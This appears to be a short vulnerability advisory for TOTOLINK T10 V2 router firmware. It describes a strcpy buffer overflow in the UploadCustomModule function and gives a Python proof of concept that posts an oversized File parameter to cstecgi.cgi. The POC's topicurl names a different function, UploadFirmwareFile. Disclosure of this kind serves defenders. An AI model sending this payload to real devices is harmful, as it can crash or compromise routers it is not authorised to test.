Overview

• Manufacturer’s website information：https://www.totolink.net/
• Firmware download address ：https://totolink.com.my/products/t10/

Affected version

T10 V2_Firmware V2_V4.1.8cu.5207

Vulnerability details

In the T10 V2_Firmware V2_V4.1.8cu.5207 firmware has a buffer overflow vulnerability in the UploadCustomModule function. The v8 variable receives the File parameter from a POST request. However, since the user can control the input of File, the strcpy(v15, v8); can cause a buffer overflow vulnerability.

POC

import requests
url = "<http://127.0.0.1/cgi-bin/cstecgi.cgi>"cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {'topicurl' : "UploadFirmwareFile",
"File" : "a"*0x500000}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)